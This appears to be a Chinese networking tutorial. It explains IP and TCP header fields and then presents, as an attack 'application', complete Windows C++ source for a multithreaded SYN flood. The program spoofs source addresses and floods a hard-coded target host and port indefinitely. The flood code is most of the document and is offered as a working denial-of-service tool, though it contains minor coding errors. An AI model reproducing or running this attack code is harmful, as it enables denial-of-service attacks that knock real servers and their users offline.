IP数据报和TCP报文格式分析与应用

一.IP数据报首部格式
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1.版本——占 4 bit，指IP协议的版本.目前的 IP 协议版本号为 4 (即 IPv4)
2.首部长度——占 4 bit，可表示的最大数值是 15 个单位(一个单位为 4 字节)因此 IP 的首部长度的最大值是60字节。
3.总长度——占 16 bit，指首部和数据之和的长度，单位为字节，因此数据报的最大长度为 65535 字节。总长度必须不超过最大传送单元 MTU。
4.标识(identification)    占 16 bit，它是一个计数器，用来产生数据报的标识。当数据报需要分片时，此标识表示同一个数据报的分片。
5.标志(flag)：3 bit，D0：MF，D1：DF，D2保留， DF位用来表示数据报是否允许分片，DF=1不分片；MF位表示是否有后续分片，MF=0表示是最后一片。
6.片偏移(13 bit)指出：较长的分组在分片后某分片在原分组中的相对位置。片偏移以 8 个字节为偏移单位。
7.生存时间(8 bit)记为 TTL (Time To Live)表示数据报在网络中的寿命，其单位为秒。在目前的实际应用中，常以“跳”为单位。
8.协议(8 bit)字段指出此数据报携带的数据使用何种协议(如TCP/UDP等)以便目的主机的 IP 层将数据部分上交给哪个处理过程
9.首部检验和(16 bit)字段只检验数据报的首部不包括数据部分。这里不采用 CRC 检验码而采用简单的“反码算术求和”计算方法。
10.源地址和目的地址都各占 4 字节，32bit 的IP地址
11.可选字段的长度是 可变的，1～40 字节，用于增加IP数据报的控制功能。
12.填充字段保证IP首部长度是 4 字节的整倍数

二.TCP数据报首部格式
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1.源端口和目的端口字段——各占 2 字节。端口是传输层与应用层的服务接口。传输层的复用和分用功能都要通过端口才能实现。 
2.序号字段——占 4 字节。TCP 连接中传送的数据流中的每一个字节都编上一个序号。序号字段的值则指的是本报文段所发送的数据的第一个字节的序号。
3.确认号字段——占 4 字节，是期望收到对方的下一个报文段的数据的第一个字节的序号。
4.数据偏移——占 4  bit，它指出 TCP 报文段的数据起始处距离 TCP 报文段的起始处有多远。“数据偏移”的单位不是字节而是 32 bit 字（4 字节为计算单位）。 
5.保留字段——占 6 bit，保留为今后使用，但目前应置为 0。
6.紧急比特 URG —— 当 URG=1 时，表明紧急指针字段有效。它告诉系统此报文段中有紧急数据，应尽快传送(相当于高优先级的数据)。
7.确认比特 ACK —— 只有当 ACK=1 时确认号字段才有效。当 ACK=0 时，确认号无效。
8.推送比特 PSH(Push)接收方 TCP 收到推送比特置1的报文段，就尽快地交付给接收应用进程，而不再等到整个缓存都填满了后再向上交付.
9.复位比特 RST (Reset) —— 当 RST=1 时，表明 TCP 连接中出现严重差错（如由于主机崩溃或其他原因），必须释放连接，然后再重新建立运输连接。
10.同步比特 SYN —— 同步比特 SYN 置为 1，就表示这是一个连接请求或连接接受报文。
11.终止比特 FIN (FINal) —— 用来释放一个连接。当FIN=1 时，表明此报文段的发送端的数据已发送完毕，并要求释放运输连接。
12.窗口字段 —— 占 2 字节。窗口字段用来控制对方发送的数据量，单位为字节。TCP 连接的一端根据设置的缓存空间大小确定自己的接收窗口大小，然后通知对方以确定对方的发送窗口的上限。
13.检验和 —— 占 2 字节。检验和字段检验的范围包括首部和数据这两部分。在计算检验和时，要在 TCP 报文段的前面加上 12 字节的伪首部。
14.紧急指针字段 —— 占 16 bit。紧急指针指出在本报文段中的紧急数据的最后一个字节的序号。 
15.选项字段 —— 长度可变。TCP 首部可以有多达40字节的可选信息，用于把附加信息传递给终点，或用来对齐其它选项。

TCP/IP用于DoS攻击应用举例
[c++ code]

#include <winsock2.h>
#include <Ws2tcpip.h> 
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")
#define SEQ 0x28376839
int threadnum,maxthread,port;
char *DestIP;//目标IP
void display(void)  // 定义状态提示函数 
{ 
    static int play=0;
    // 进度条 
    char *plays[12]= 
    { 
        " | ", 
            " / ", 
            " - ", 
            " \\ ",
            " | ", 
            " / ", 
            " - ", 
            " \\ ", 
            " | ", 
            " / ", 
            " - ", 
            " \\ ", 
    }; 
    
    printf("=%s= %d threads \r", plays[play],threadnum);
    play=(play==11)?0:play+1;
} 
//定义一个tcphdr结构来存放TCP首部
typedef struct tcphdr
{
    USHORT th_sport;//16位源端口号
    USHORT th_dport;//16位目的端口号
    unsigned int th_seq;//32位序列号
    unsigned int th_ack;//32位确认号
    unsigned char th_lenres;//4位首部长度+6位保留字中的4位
    unsigned char th_flag;6位标志位
    USHORT th_win;//16位窗口大小
    USHORT th_sum;//16位效验和
    USHORT th_urp;//16位紧急数据偏移量
}TCP_HEADER; 
//定义一个iphdr来存放IP首部
typedef struct iphdr//ip首部
{
    unsigned char h_verlen;//4位手部长度，和4位IP版本号
    unsigned char tos;//8位类型服务
    unsigned short total_len;//16位总长度
    unsigned short ident;//16位标志
    unsigned short frag_and_flags;//3位标志位（如SYN,ACK,等等)
    unsigned char ttl;//8位生存时间
    unsigned char proto;//8位协议
    unsigned short checksum;//ip手部效验和
    unsigned int sourceIP;//伪造IP地址
    unsigned int destIP;//攻击的ip地址
}IP_HEADER;

//TCP伪首部，用于进行TCP效验和的计算，保证TCP效验的有效性
struct
{
    unsigned long saddr;//源地址
    unsigned long daddr;//目的地址
    char mbz;//置空
    char ptcl;//协议类型
    unsigned short tcpl;//TCP长度
}PSD_HEADER; 
//计算效验和函数，先把IP首部的效验和字段设为0(IP_HEADER.checksum=0)
//然后计算整个IP首部的二进制反码的和。
USHORT checksum(USHORT *buffer, int size)
{
    unsigned long cksum=0;
    while(size >1) {
        cksum+=*buffer++;
        size-=sizeof(USHORT);
    }
    if(size) cksum+=*(UCHAR*)buffer;
    cksum=(cksum >> 16)+(cksum&0xffff);
    cksum+=(cksum >>16);
    return (USHORT)(~cksum); 
}
DWORD WINAPI SynfloodThread(LPVOID lp)//synflood线程函数
{
    SOCKET  sock =NULL;
    int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;
    struct sockaddr_in sockAddr;
    TCP_HEADER  tcpheader;
    IP_HEADER   ipheader;
    char        sendBuf[128];
    sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
    if(sock==INVALID_SOCKET)
    {
        printf("Socket failed: %d\n",WSAGetLastError());
        return 0;
    }
    //设置IP_HDRINCL以便自己填充IP首部
    ErrorCode=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
    if(ErrorCode==SOCKET_ERROR)
    {
        printf("Set sockopt failed: %d\n",WSAGetLastError());
        return 0;
    }
    //设置发送超时
    ErrorCode=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
    if(ErrorCode==SOCKET_ERROR)
    {
        printf("Set sockopt time out failed: %d\n",WSAGetLastError());
        return 0;
    }
    //设置目标地址
    memset(&sockAddr,0,sizeof(sockAddr));
    sockAddr.sin_family=AF_INET;
    sockAddr.sin_addr.s_addr =inet_addr(DestIP);
    FakeIpNet=inet_addr(DestIP);
    FakeIpHost=ntohl(FakeIpNet);
    //填充IP首部
    ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));
    ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
    ipheader.ident = 1;
    ipheader.frag_and_flags = 0;
    ipheader.ttl = 128;
    ipheader.proto = IPPROTO_TCP;
    ipheader.checksum =0;
    ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
    ipheader.destIP = inet_addr(DestIP);
    //填充TCP首部
    tcpheader.th_dport=htons(port);
    tcpheader.th_sport = htons(8080);
    tcpheader.th_seq = htonl(SEQ+SendSEQ);
    tcpheader.th_ack = 0;
    tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);
    tcpheader.th_flag = 2;//SYN=1;
    tcpheader.th_win = htons(16384);
    tcpheader.th_urp = 0;
    tcpheader.th_sum = 0;
    
    PSD_HEADER.saddr=ipheader.sourceIP;
    PSD_HEADER.daddr=ipheader.destIP;
    PSD_HEADER.mbz=0; 
    PSD_HEADER.ptcl=IPPROTO_TCP;
    PSD_HEADER.tcpl=htons(sizeof(tcpheader));
    for(;;)
    {
        SendSEQ=(SendSEQ==65536)?1:SendSEQ+1;
        ipheader.checksum =0;
        ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
        tcpheader.th_seq = htonl(SEQ+SendSEQ);
        tcpheader.th_sport = htons(SendSEQ);
        tcpheader.th_sum = 0;
        PSD_HEADER.saddr=ipheader.sourceIP;
        
        //把TCP伪首部和TCP首部复制到同一缓冲区并计算TCP效验和
        memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));
        memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));
        tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));
        memcpy(sendBuf,&ipheader,sizeof(ipheader));
        memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));
        memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
        dataSize=sizeof(ipheader)+sizeof(tcpheader);
        ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);
        memcpy(sendBuf,&ipheader,sizeof(ipheader));
        sendto(sock,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));
        display();
    }//end for
    Sleep(20);
    InterlockedExchangeAdd((long *)&threadnum,-1);
    return 0;
}
int main(int argc,char* argv[])
{
    
    int ErrorCode=0;
    DestIP="192.168.1.3";//取得目标主机IP
    port=atoi("80");//取得目标端口号 17329端口
    maxthread=(maxthread>100)?100:atoi("50");//设置50个线程
    //如果线程数大于100则把线程数设置为100
    WSADATA wsaData;
    if((ErrorCode=WSAStartup(MAKEWORD(2,2),&wsaData))!=0){
        printf("WSAStartup failed: %d\n",ErrorCode); 
        return 0;
    }
    printf("[start]...........\nPress any key to stop!\n");
    while(threadnum<maxthread)//循环创建线程
    {
        if(CreateThread(NULL,0,SynfloodThread,0,0,0))
        {
            Sleep(100);
            threadnum++;
        }
    }
    char fin;
    while (true)
    {
        scanf("%c",fin);
        if (fin=='a')
        {
            break;
        }
    }
    WSACleanup();
    printf("\n[Stopd]...........\n");
    return 0;
}